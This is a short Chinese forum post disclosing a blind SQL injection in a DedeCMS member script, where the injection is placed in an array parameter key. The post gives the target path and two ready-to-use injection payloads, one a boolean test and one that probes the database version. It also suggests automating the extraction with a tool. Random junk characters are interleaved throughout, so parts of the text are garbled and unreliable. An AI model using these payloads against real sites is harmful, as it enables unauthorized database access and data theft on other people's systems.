需要magic_quotes_gpc = Off,所以说是鸡肋啊./ x8 b, [/ t- N H# }4 z
% J- r- H% ~/ G
9 v2 L C2 _, f9 d9 M' b% s+ ]# A: ?
发生在数组key里的注射漏洞,有点意思.
0 i8 e! `* O) V9 |
0 h/ W( @. X( Q这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下/ E+ @8 [$ @5 b9 ^- H
) J5 O; p$ t0 S, z
http://www.xxx.com /dede/member/mtypes.php?dopost=save L4 r: Z" \: ]# J' v) T4 \8 y
; \! i7 ]# t1 t0 hexploit:
& M# i5 Z4 C# p( ~mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r5 q- q% K# K! d# ~) w
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
+ O6 }5 |* n+ S* U* q& m |
发表于 2012-12-20 08:08:09
收藏
支持
反对